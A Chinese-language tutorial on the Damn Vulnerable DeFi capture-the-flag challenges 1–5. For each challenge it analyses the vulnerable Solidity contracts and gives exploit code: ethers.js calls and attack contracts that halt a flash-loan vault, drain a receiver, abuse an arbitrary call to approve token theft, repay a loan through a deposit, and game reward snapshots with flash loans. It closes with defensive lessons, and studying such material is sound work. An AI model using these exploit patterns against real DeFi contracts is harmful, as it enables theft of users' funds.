Damn Vulnerable DeFi Challenges 教学文档

前言

本教学文档基于奇安信攻防社区的Damn Vulnerable DeFi挑战系列，旨在通过实践学习智能合约安全漏洞。建议使用Hardhat或Foundry开发环境，并预先了解以下内容：

• Hardhat基础使用
• Solidity智能合约安全与代码质量标准
• 常见智能合约漏洞及防范方法
• 基本JavaScript语法（用于与合约交互）

Challenge #1 - Unstoppable

挑战目标

使金库停止提供闪贷服务。

合约分析

UnstoppableVault.sol关键代码：

function flashLoan(...) external returns (bool) {
    uint256 balanceBefore = totalAssets();
    if (convertToShares(totalSupply) != balanceBefore) revert InvalidBalance();
    // ...其他代码
}

漏洞原理

1. balanceBefore通过totalAssets()获取，包含所有转入Vault的DVT代币
2. convertToShares(totalSupply)计算已发行的oDVT代币对应的DVT数量
3. 正常情况下两者应相等（1:1兑换）
4. 但直接调用token.transfer转入代币会增加balanceBefore而不增加totalSupply

攻击方法

直接向Vault合约地址转账任意数量DVT代币：

await token.connect(player).transfer(vault.address, 1);

Challenge #2 - Naive Receiver

挑战目标

清空用户合约中的所有ETH（10 ETH），尽可能在一次交易中完成。

合约分析

NaiveReceiverLenderPool.sol关键代码：

function flashLoan(...) external returns (bool) {
    // 固定收取1 ETH费用
    if (address(this).balance < balanceBefore + FIXED_FEE) revert RepayFailed();
}

FlashLoanReceiver.sol关键代码：

function onFlashLoan(...) external returns (bytes32) {
    // 不验证调用者身份
    amountToBeRepaid = amount + fee; // 1 ETH固定费用
}

漏洞原理

1. 闪电贷合约不验证调用者身份
2. 任何人都可以为接收者合约发起闪电贷
3. 每次闪电贷固定收取1 ETH费用

攻击方法

连续调用10次闪电贷（每次消耗1 ETH）：

const ETH = await pool.ETH();
for (let i = 0; i < 10; i++) {
    await pool.connect(player).flashLoan(receiver.address, ETH, 0, "0x");
}

Challenge #3 - Truster

挑战目标

清空池子中的100万DVT代币，尽可能在一次交易中完成。

合约分析

TrusterLenderPool.sol关键代码：

function flashLoan(...) external nonReentrant returns (bool) {
    token.transfer(borrower, amount);
    target.functionCall(data); // 可以任意调用目标合约
    // 仅检查余额是否减少
}

漏洞原理

1. functionCall允许以Pool身份调用任意合约
2. 可以构造approve调用授权攻击者使用Pool的代币
3. 之后通过transferFrom转走代币

攻击方法

let interface = new ethers.utils.Interface(["function approve(address spender, uint256 amount)"]);
let data = interface.encodeFunctionData("approve", [player.address, TOKENS_IN_POOL]);
await pool.connect(player).flashLoan(0, player.address, token.address, data);
await token.connect(player).transferFrom(pool.address, player.address, TOKENS_IN_POOL);

Challenge #4 - Side Entrance

挑战目标

从初始1000 ETH的池子中取出所有ETH，初始只有1 ETH余额。

合约分析

SideEntranceLenderPool.sol关键代码：

function flashLoan(uint256 amount) external {
    IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();
    // 仅检查余额是否减少
}

function deposit() external payable {
    balances[msg.sender] += msg.value;
}

漏洞原理

1. 闪电贷还款可以通过存款方式完成
2. 存款会增加攻击者在合约中的余额
3. 之后可以合法提取这些存款

攻击方法

// 攻击合约
contract SideEntranceHacker is IFlashLoanEtherReceiver {
    function execute() external payable {
        pool.deposit{value: 1000 ether}();
    }
    
    function exploit() external payable {
        pool.flashLoan(1000 ether);
        pool.withdraw();
        payable(tx.origin).transfer(1000 ether);
    }
}

Challenge #5 - The Rewarder

挑战目标

在没有DVT代币的情况下，在下一轮奖励分配中获得大部分奖励。

合约分析

关键合约：

1. FlashLoanerPool：提供DVT闪贷
2. TheRewarderPool：每5天分配奖励
3. AccountingToken：记录存款的快照代币
4. RewardToken：奖励代币

漏洞原理

1. 奖励基于快照时的存款比例分配
2. 可以在新轮次开始时借入大量DVT并立即存款
3. 获取快照后归还闪贷

攻击方法

1. 等待新轮次开始
2. 闪贷借入大量DVT
3. 存入RewarderPool
4. 触发奖励分配
5. 提取存款并归还闪贷

// 攻击合约
contract RewarderAttacker {
    function attack() external {
        // 1. 借入闪贷
        flashLoaner.flashLoan(TOKENS_IN_POOL);
        
        // 在回调中：
        // 2. 存入RewarderPool
        rewarder.deposit(TOKENS_IN_POOL);
        
        // 3. 领取奖励
        rewarder.distributeRewards();
        
        // 4. 提取存款
        rewarder.withdraw(TOKENS_IN_POOL);
        
        // 5. 归还闪贷
        token.transfer(address(flashLoaner), TOKENS_IN_POOL);
    }
    
    function receiveFlashLoan(uint256 amount) external {
        token.approve(address(rewarder), amount);
        // 其他攻击步骤...
    }
}

总结

这些挑战展示了DeFi中常见的安全问题：

1. 状态验证不足（Unstoppable）
2. 访问控制缺失（Naive Receiver）
3. 任意调用风险（Truster）
4. 业务逻辑绕过（Side Entrance）
5. 闪电贷操纵协议状态（The Rewarder）

开发者应特别注意：

• 严格的状态验证
• 完善的访问控制
• 限制外部调用范围
• 防止业务逻辑被绕过
• 考虑闪电贷对协议的影响